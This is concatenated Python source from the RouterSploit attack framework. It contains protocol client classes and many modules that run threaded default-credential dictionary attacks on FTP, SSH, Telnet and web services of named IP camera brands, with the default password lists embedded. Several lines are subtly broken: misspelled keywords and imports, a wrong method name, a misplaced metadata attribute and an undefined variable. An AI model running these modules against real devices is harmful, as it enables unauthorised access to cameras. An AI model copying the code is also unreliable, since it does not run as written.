from routersploit.core.exploit.option import OptBool
from routersploit.core.exploit.printer import print_error
FTP_TIMEOUT = 30.0
class FTPClient(Exploit):
""" FTP Client exploit """
target_protocol = Protocol.FTP
ssl = OptBool("false", "SSL enabled: true/false")
verbosity = OptBool("true", "Enable verbose output: true/false")
def ftp_create(self):
if self.ssl:
ftp_client = ftplib.FTP_TLS()
else:
ftp_client = ftplib.FTP()
return ftp_client
def ftp_connect(self, retries=1):
ftp_client = self.ftp_create()
for _ in range(retries):
try:
ftp_client.connect(self.target, self.port, timeout=FTP_TIMEOUT)
except (socket.error, socket.timeout):
print_error("Connection error")
except Exception as err:
print_error(err)
else:
return ftp_client
ftp_client.close()
return None
def ftp_login(self, username, password):
ftp_client = self.ftp_connect()
if ftp_client:
try:
ftp_client.login(username, password)
return ftp_client
except Exception as err:
pass
ftp_client.close()
return None
def ftp_test_connect(self):
ftp_client = self.ftp_connect()
if ftp_client:
ftp_client.close()
return True
return False
import socket
import requests
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.exploit.option import OptBool
from routersploit.core.exploit.printer import print_error
HTTP_TIMEOUT = 30.0
class HTTPClient(Exploit):
""" HTTP Client exploit """
target_protocol = Protocol.HTTP
verbosity = OptBool("true", "Verbosity enabled: true/false")
ssl = OptBool("false", "SSL enabled: true/false")
def http_request(self, method, path, session=requests, **kwargs):
if self.ssl:
url = "https://"
else:
url = "http://"
url += "{}:{}{}".format(self.target, self.port, path)
kwargs.setdefault("timeout", HTTP_TIMEOUT)
kwargs.setdefault("verify", False)
kwargs.setdefault("allow_redirects", False)
try:
return getattr(session, method.lower())(url, **kwargs)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: {}".format(url), verbose=self.verbosity)
except requests.exceptions.ConnectionError:
print_error("Connection error: {}".format(url), verbose=self.verbosity)
except requests.RequestException as error:
print_error(error, verbose=self.verbosity)
except socket.error as err:
print_error(err, verbose=self.verbosity)
except KeyboardInterrupt:
print_error("Module has been stopped", verbose=self.verbosity)
return None
def get_target_url(self, path=""):
if self.ssl:
url = "https://"
else:
url = "http://"
url += "{}:{}{}".format(self.target, self.port, path)
return url
def http_test_connect(self):
response = self.http_request(
method="GET",
path="/"
)
if response:
return True
return False
from pysnmp.entity.rfc3413.oneliner import cmdgen
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.exploit.option import OptBool
from routersploit.core.exploit.printer import print_success
from routersploit.core.exploit.printer import print_error
class SNMPClient(Exploit):
""" SNMP Client exploit """
target_protocol = Protocol.SNMP
verbosity = OptBool("true", "Enable verbose output: true/false")
def snmp_get(self, community_string, oid, version=1):
cmdGen = cmdgen.CommandGenerator()
try:
errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
cmdgen.CommunityData(community_string, mpModel=version),
cmdgen.UdpTransportTarget((self.target, self.port)),
oid,
)
except Exception:
return None
if errorIndication or errorStatus:
print_error("SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity)
else:
print_success("SNMP valid community string found: '{}'".format(community_string), verbose=self.verbosity)
return varBinds
return None
import socket
import paramiko
import os
import select
import sys
import threading
import io
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.exploit.option import OptBool
from routersploit.core.exploit.printer import print_success
from routersploit.core.exploit.printer import print_error
from routersploit.core.exploit.utils import random_text
SSH_TIMEOUT = 30.0
class SSHClient(Exploit):
""" SSH Client exploit """
target_protocol = Protocol.SSH
verbosity = OptBool("true", "Enable verbose output: true/false")
def ssh_create(self):
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
return ssh_client
def ssh_login(self, username, password, retries=1):
ssh_client = self.ssh_create()
for _ in range(retries):
try:
ssh_client.connect(self.target, self.port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False)
except paramiko.AuthenticationException:
print_error("SSH Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
ssh_client.close()
break
except Exception as err:
print_error("Err: {}".format(err), verbose=self.verbosity)
else:
print_success("SSH Authentication Successful - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
return ssh_client
ssh_client.close()
return
def ssh_login_pkey(self, username, priv_key, retries=1):
ssh_client = self.ssh_create()
if "DSA PRIVATE KEY" in priv_key:
priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key))
elif "RSA PRIVATE KEY" in priv_key:
priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key))
else:
return None
for _ in range(retries):
try:
ssh_client.connect(self.target, self.port, timouet=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key)
except paramiko.AuthenticationException:
print_error("Authentication Failed - Username: '{}' auth with private key".format(username), verbose=self.verbosity)
except Exception as err:
print_error("Err: {}".format(err), verbose=self.verbosity)
ssh_client.close()
return None
def ssh_test_connect(self):
ssh_client = self.ssh_create()
try:
ssh_client.connect(self.target, self.port, timeout=SSH_TIMEOUT, username="root", password=random_text(12))
except paramiko.AuthenticationException:
ssh_client.close()
return True
except socket.error:
print_error("Connection error")
ssh_client.close()
return False
except Exception as err:
print_error("Err: {}".format(err))
ssh_client.close()
return False
def ssh_execute(self, ssh, cmd):
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(cmd)
return ssh_stdout.read()
def ssh_get_file(self, ssh, remote_file, local_file):
sftp = ssh.open_sftp()
sftp.get(remote_file, local_file)
def ssh_get_content(self, ssh, remote_file):
fp_content = io.BytesIO()
sftp = ssh.open_sftp()
sftp.getfo(remote_file, fp_content)
return fp_content.getvalue()
def ssh_send_file(self, ssh, local_file, dest_file):
sftp = ssh.open_sftp()
sftp.put(local_file, dest_file)
def ssh_send_content(self, ssh, content, dest_file):
fp_content = io.BytesIO(content)
sftp = ssh.open_sftp()
sftp.putfo(fp_content, dest_file)
def ssh_interactive(self, ssh):
chan = ssh.invoke_shell()
if os.name == "posix":
self._postix_shell(chan)
else:
self._windows_shell(chan)
def _posix_shell(self, chan):
import termios
import tty
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while True:
r, w, e = select.select([chan, sys.stdin], [], [])
if chan in r:
try:
x = unicode(chan.recv(1024))
if len(x) == 0:
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if sys.stdin in r:
x = sys.stdin.read(1)
if len(x) == 0:
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin,termios.TCSADRAIN, oldtty)
return
def _windows_shell(self, chan):
def writeall(sock):
while True:
data = sock.recv(256)
if not data:
sys.stdout.flush()
return
sys.stdout.write(data)
sys.stdout.flush()
writer = threading.Thread(target=writeall, args=(chan,))
writer.start()
try:
while True:
d = sys.stdin.read(1)
if not d:
break
chan.send(d)
except Exception as err:
print_error("Err: {}".format(err))
import socket
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.exploit.printer import print_status
from routersploit.core.exploit.printer import print_error
from routersploit.core.exploit.utils import is_ipv4
from routersploit.core.exploit.utils import is_ipv6
TCP_SOCKET_TIMEOUT = 8.0
class TCPClient(Exploit):
""" TCP Client exploit """
target_protocol = Protocol.TCP
def tcp_create(self):
if is_ipv4(self.target):
tcp_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
elif is_ipv6(self.target):
tcp_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
print_error("Target address is not valid IPv4 nor IPv6 address")
return None
tcp_client.settimeout(TCP_SOCKET_TIMEOUT)
return tcp_client
def tcp_connect(self):
try:
tcp_client = self.tcp_create()
tcp_client.connect((self.target, self.port))
print_status("Connection established")
return tcp_client
except Exception:
print_error("Could not connect")
return None
def tcp_send(self, tcp_client, data):
if tcp_client:
if type(data) is bytes:
return tcp_client.send(data)
elif type(data) is str:
return tcp_client.send(bytes(data, "utf-8"))
else:
print_error("Data to send is not type of bytes or string")
return None
def tcp_recv(self, tcp_client, num):
if tcp_client:
try:
response = tcp_client.recv(num)
return str(response, "utf-8")
except socket.timeout:
print_error("Socket did timeout")
return None
def tcp_close(self, tcp_client):
if tcp_client:
tcp_client.close()
import telnetlib
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.exploit.option import OptBool
from routersploit.core.exploit.printer import print_success
from routersploit.core.exploit.printer import print_error
TELNET_TIMEOUT = 30.0
class TelnetClient(Exploit):
""" Telnet Client exploit """
target_protocol = Protocol.TELNET
verbosity = OptBool("true", "Enable verbose output: true/false")
def telnet_connect(self, target=None, port=None):
if not target:
target = self.target
if not port:
port = self.port
try:
telnet_client = telnetlib.Telnet(target, port, timeout=TELNET_TIMEOUT)
return telnet_client
except Exception:
pass
return None
def telnet_login(self, username, password, target=None, port=None, retries=1):
if not target:
target = self.target
if not port:
port = self.port
for _ in range(retries):
try:
telnet_client = self.telnet_connect(target=target, port=port)
telnet_client.expect([b"Login: ", b"login: ", b"Username: ", b"username: "], 5)
telnet_client.write(bytes(username, "utf-8") + b"\r\n")
telnet_client.expect([b"Password: ", b"password: "], 5)
telnet_client.write(bytes(password, "utf-8") + b"\r\n")
telnet_client.write(b"\r\n")
(i, obj, res) = telnet_client.expect([b"Incorrect", b"incorrect"], 5)
if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500: # big banner e.g. mikrotik
print_success("Telnet Authentication Successful - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
return telnet_client
else:
print_error("Telnet Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
break
except EOFError:
print_error("Telnet connection error")
except Exception as err:
print_error(err)
return None
def telnet_test_connect(self):
try:
telnet_client = telnetlib.Telnet(self.target, self.port, timeout=TELNET_TIMEOUT)
telnet_client.expect([b"Login: ", b"login: ", b"Username: ", b"username: "], 5)
telnet_client.close()
return True
except Exception:
pass
return False
def telnet_interactive(self, telnet):
telnet.interact()
def telnet_read_until(self, telnet_client, data):
if telnet_client:
if type(data) is str:
data = bytes(data, "utf-8")
return telnet_client.read_until(data, 5)
return None
def telnet_write(self, telnet_client, data):
if telnet_client:
if type(data) is str:
data = bytes(data, "utf-8")
return telnet_client.write(data, 5)
return None
import socket
from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol
from routersploit.core.exploit.printer import print_error
from routersploit.core.exploit.utils import is_ipv4
from routersploit.core.exploit.utils import is_ipv6
UDP_SOCKET_TIMEOUT = 8.0
class UDPClient(Exploit):
""" UDP Client exploit """
target_protocol = Protocol.UDP
def udp_create(self):
if is_ipv4(self.target):
udp_client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
elif is_ipv6(self.target):
udp_client = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
else:
print_error("Target address is not valid IPv4 nor IPv6 address")
return None
udp_client.settimeout(UDP_SOCKET_TIMEOUT)
return udp_client
def udp_send(self, udp_client, data):
if udp_client:
if type(data) is bytes:
return udp_client.sendto(data, (self.target, self.port))
elif type(data) is str:
return udp_client.sendto(bytes(data, "utf-8"), (self.target, self.port))
else:
print_error("Data to send is not type of bytes or string")
return None
def udp_recv(self, udp_client, num):
if udp_client:
try:
response = udp_client.recv(num)
return str(response, "utf-8")
except socket.timeout:
print_error("Socket did timeout")
return None
def udp_close(self, udp_client):
if udp_client:
udp_client.close()
import os
import threading
import time
from itertools import chain
from weakref import WeakKeyDictionary
from routersploit.exceptions import OptionValidationError
from routersploit.utils import print_status, NonStringIterable
GLOBAL_OPTS = {}
class Option(object):
""" Exploit attribute that is set by the end user. """
def __init__(self, default, description="", validators=()):
self.label = None
if isinstance(validators, NonStringIterable):
self.validators = validators
else:
self.validators = (validators,)
self.default = default
self.description = description
self.data = WeakKeyDictionary()
def __get__(self, instance, owner):
try:
return self.data[instance]
except KeyError:
pass
try:
return self._apply_widgets(GLOBAL_OPTS[self.label])
except KeyError:
return self.default
def __set__(self, instance, value):
self.data[instance] = self._apply_widgets(value)
def _apply_widgets(self, value):
for validator in self.validators:
value = validator(value)
return value
class ExploitOptionsAggregator(type):
""" Metaclass for exploit base class.
Metaclass is aggregating all possible Attributes that user can set
for tab completion purposes.
"""
def __new__(cls, name, bases, attrs):
try:
base_exploit_attributes = chain(
map(lambda x: x.exploit_attributes, bases)
)
except AttributeError:
attrs['exploit_attributes'] = {}
else:
attrs['exploit_attributes'] = {
k: v for d in base_exploit_attributes for k, v in d.iteritems()
}
for key, value in attrs.iteritems():
if isinstance(value, Option):
value.label = key
attrs['exploit_attributes'].update({key: value.description})
elif key == "__info__":
attrs["_{}{}".format(name, key)] = value
del attrs[key]
# Removing exploit_attribute that was overwritten
# in the child and is not a Option() instance.
elif key in attrs['exploit_attributes']:
del attrs['exploit_attributes'][key]
return super(ExploitOptionsAggregator, cls).__new__(
cls, name, bases, attrs
)
class BaseExploit(object):
__metaclass__ = ExploitOptionsAggregator
@property
def options(self):
""" Returns list of options that user can set.
Returns list of options aggregated by
ExploitOptionsAggregator metaclass that user can set.
:return: list of options that user can set
"""
return self.exploit_attributes.keys()
def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
class Exploit(BaseExploit):
""" Base class for exploits. """
target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")
def run(self):
raise NotImplementedError("You have to define your own 'run' method.")
def check(self):
raise NotImplementedError(
"You have to define your own 'check' method."
)
def run_threads(self, threads, target, *args, **kwargs):
workers = []
threads_running = threading.Event()
threads_running.set()
for worker_id in range(int(threads)):
worker = threading.Thread(
target=target,
args=chain((threads_running,), args),
kwargs=kwargs,
name='worker-{}'.format(worker_id),
)
workers.append(worker)
worker.start()
start = time.time()
try:
while worker.isAlive():
worker.join(1)
except KeyboardInterrupt:
threads_running.clear()
for worker in workers:
worker.join()
print_status('Elapsed time: ', time.time() - start, 'seconds')
def validate_setup(self):
""" Validate exploit's setup before `run()`
If exploit need extra validation make sure to overwrite this with
custom validation logic.
"""
if not self.target:
raise OptionValidationError("Please set target address.")
import sys
import time
import binascii
import hashlib
class ApiRosClient(object):
"Routeros api"
def __init__(self, sk):
self.sk = sk
self.currenttag = 0
def login(self, username, pwd):
for repl, attrs in self.talk(["/login"]):
chal = binascii.unhexlify((attrs['=ret']).encode('UTF-8'))
md = hashlib.md5()
md.update(b'\x00')
md.update(pwd.encode('UTF-8'))
md.update(chal)
output = self.talk(["/login", "=name=" + username,
"=response=00" + binascii.hexlify(md.digest()).decode('UTF-8') ])
return output
def talk(self, words):
if self.writeSentence(words) == 0: return
r = []
while 1:
i = self.readSentence();
if len(i) == 0: continue
reply = i[0]
attrs = {}
for w in i[1:]:
j = w.find('=', 1)
if (j == -1):
attrs[w] = ''
else:
attrs[w[:j]] = w[j+1:]
r.append((reply, attrs))
if reply == '!done': return r
def writeSentence(self, words):
ret = 0
for w in words:
self.writeWord(w)
ret += 1
self.writeWord('')
return ret
def readSentence(self):
r = []
while 1:
w = self.readWord()
if w == '': return r
r.append(w)
def writeWord(self, w):
self.writeLen(len(w))
self.writeStr(w)
def readWord(self):
ret = self.readStr(self.readLen())
return ret
def writeLen(self, l):
if l < 0x80:
self.writeByte((l).to_bytes(1, sys.byteorder))
elif l < 0x4000:
l |= 0x8000
tmp = (l >> 8) & 0xFF
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder))
elif l < 0x200000:
l |= 0xC00000
self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder))
elif l < 0x10000000:
l |= 0xE0000000
self.writeByte(((l >> 24) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder))
else:
self.writeByte((0xF0).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 24) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder))
def readLen(self):
c = ord(self.readStr(1))
if (c & 0x80) == 0x00:
pass
elif (c & 0xC0) == 0x80:
c &= ~0xC0
c <<= 8
c += ord(self.readStr(1))
elif (c & 0xE0) == 0xC0:
c &= ~0xE0
c <<= 8
c += ord(self.readStr(1))
c <<= 8
c += ord(self.readStr(1))
elif (c & 0xF0) == 0xE0:
c &= ~0xF0
c <<= 8
c += ord(self.readStr(1))
c <<= 8
c += ord(self.readStr(1))
c <<= 8
c += ord(self.readStr(1))
elif (c & 0xF8) == 0xF0:
c = ord(self.readStr(1))
c <<= 8
c += ord(self.readStr(1))
c <<= 8
c += ord(self.readStr(1))
c <<= 8
c += ord(self.readStr(1))
return c
def writeStr(self, str):
n = 0;
while n < len(str):
r = self.sk.send(bytes(str[n:], 'UTF-8'))
if r == 0: raise RuntimeError("connection closed by remote end")
n += r
def writeByte(self, str):
n = 0;
while n < len(str):
r = self.sk.send(str[n:])
if r == 0: raise RuntimeError("connection closed by remote end")
n += r
def readStr(self, length):
ret = ''
while len(ret) < length:
s = self.sk.recv(length - len(ret))
if s == '': raise RuntimeError("connection closed by remote end")
ret += s.decode('UTF-8', 'replace')
return ret
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Acti Camera Default FTP Creds",
"description": "Module performs dictionary attack with default credentials against Acti Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com", # routersploit module
),
"devices": (
"Acti Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:12345,admin:123456,Admin:12345, Admin:123456", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Acti Camera Default SSH Creds",
"description": "Module performs dictionary attack with default credentials against ACTI Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Acti Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:12345,admin:123456,Admin:12345,Admin:123456", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Acti Camera Default Telnet Creds",
"description": "Module performs dictionary attack with default credentials against Acti Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Acti Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:12345,admin:123456,Admin:12345,Admin:123456", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
class Exploit(HTTPClient):
__info__ = {
"name": "Acti Camera Default Web Interface Creds - HTTP Form",
"description": "Module performs default credentials check against Acti Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Acti Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(80, "Target HTTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:12345,admin:123456,Admin:12345,Admin:123456", "User:Pass or file with default ccredentials (file://)")
stop_on_success = OptBool("false", "Stop on first valid authentication attempt")
verbosity = OptBool("true", "Display authentication attempts")
def run(self):
self.credentials = []
self.attack()
@multi
def attack(self):
if not self.check():
return
print_status("Starting default credentials attack against Acti Camera Web Interface")
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
print_success("Credentials found!")
headers = ("Target", "Port", "Service", "Username", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")
def target_function(self, data):
pass
def check(self):
response = self.http_request(
method="GET",
path="/video.htm"
)
if response and ">Password<" in response.text:
return True
return False
@mute
def check_default(self):
if self.check():
self.credentials = []
self.run_threads(self.threads, self.target_function, self.defaults)
if self.credentials:
return self.credentials
return None
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__name__ = {
"name": "American Dynamics Camera Default FTP Creds",
"description": "Module performs dictionary attack against American Dybnamics Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"American Dynamics Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,admin:9999", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "American Dynamics Camera Default SSH Creds",
"description": "Module performs dictionary attack against American Dynamics Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"American Dynamics Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,admin:9999", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "American Dynamics Default Telnet Creds",
"description": "Module performs dictionary attack against American Dynamics Telnet service. "
"If valid credentials are found, they are displayed to te user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com", # routersploit module
),
"devices": (
"American Dynamics Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,admin:9999", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.gtp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Arecont Camera Default FTP Creds",
"description": "Module performs dictionary attack against Arecont Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Arecont Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:,:", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Arecont Camera Default SSH Creds",
"description": "Module performs dictionary attack against Arecont Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Arecont Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:,:", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Arecont Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Arecont Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Arecont Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:,:", "User:Pass or file with default credentials (file://)")
from routersploit.core.expxloit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Avigilon Camera Default FTP Creds",
"description": "Module performs dictionary attack against Avigilon Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Avigilon Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,Administrator:", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Avigilon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Avigilon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Avigilon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,Administrator:", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Avigilon Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Avigilon Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Avigilon Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,Administrator:", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Avtech Camera Default FTP Creds",
"description": "Module performs dictionary attack against Avtech Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Avtech Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Avtech Camera Default SSH Creds",
"description": "Module performs dictionary attack against Avtech Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Avtech Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault):
__info__ = {
"name": "Avtech Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Avtech Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Avtech Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
class Exploit(FTPDefault):
__info__ = {
"name": "Axis Camera Default FTP Creds",
"description": "Module performs dictionary attack against Axis Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Axis Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(21, "Target FTP port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:pass,admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Axis Camera Default SSH Creds",
"description": "Module performs dictionary attack against Axis Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Axis Camera",
]
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("root:pass,admin:admin", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import *
